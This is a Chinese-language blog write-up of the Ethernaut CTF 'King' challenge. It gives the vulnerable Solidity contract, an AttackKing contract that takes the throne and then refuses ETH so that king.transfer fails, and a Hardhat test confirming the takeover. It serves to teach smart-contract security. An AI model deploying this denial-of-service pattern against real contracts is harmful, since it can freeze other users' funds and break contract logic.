开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";
contract King {
address payable king;
uint256 public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
此合约的运行逻辑是发送>=prize
数量的ETH
,就将发送数量msg.value
转给上一个king
,然后自己变成新的king
。
解题思路就是满足 require(msg.value >= prize || msg.sender == owner)
,然后使king.transfer(msg.value)
失败(创建一个攻击合约,没有接收ETH
的条件)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract AttackKing {
constructor(address payable _king) payable {
(bool success, ) = _king.call{value: msg.value}("");
require(success, "fail");
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
var King;
var AttackKing;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const KingInstance = await ethers.getContractFactory("King");
King = await KingInstance.deploy({
value: parseEther("1"),
});
expect(await King._king()).to.equal(deployer.address);
const AttackKingInstance = await ethers.getContractFactory("AttackKing");
AttackKing = await AttackKingInstance.connect(users[0]).deploy(King.address, {
value: parseEther("2"),
});
});
it("hack test", async function () {
expect(await King._king()).to.equal(AttackKing.address);
try {
const res = await deployer.sendTransaction({
value: parseEther("2"),
to: King.address,
});
} catch (error) {
console.log(error);
}
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!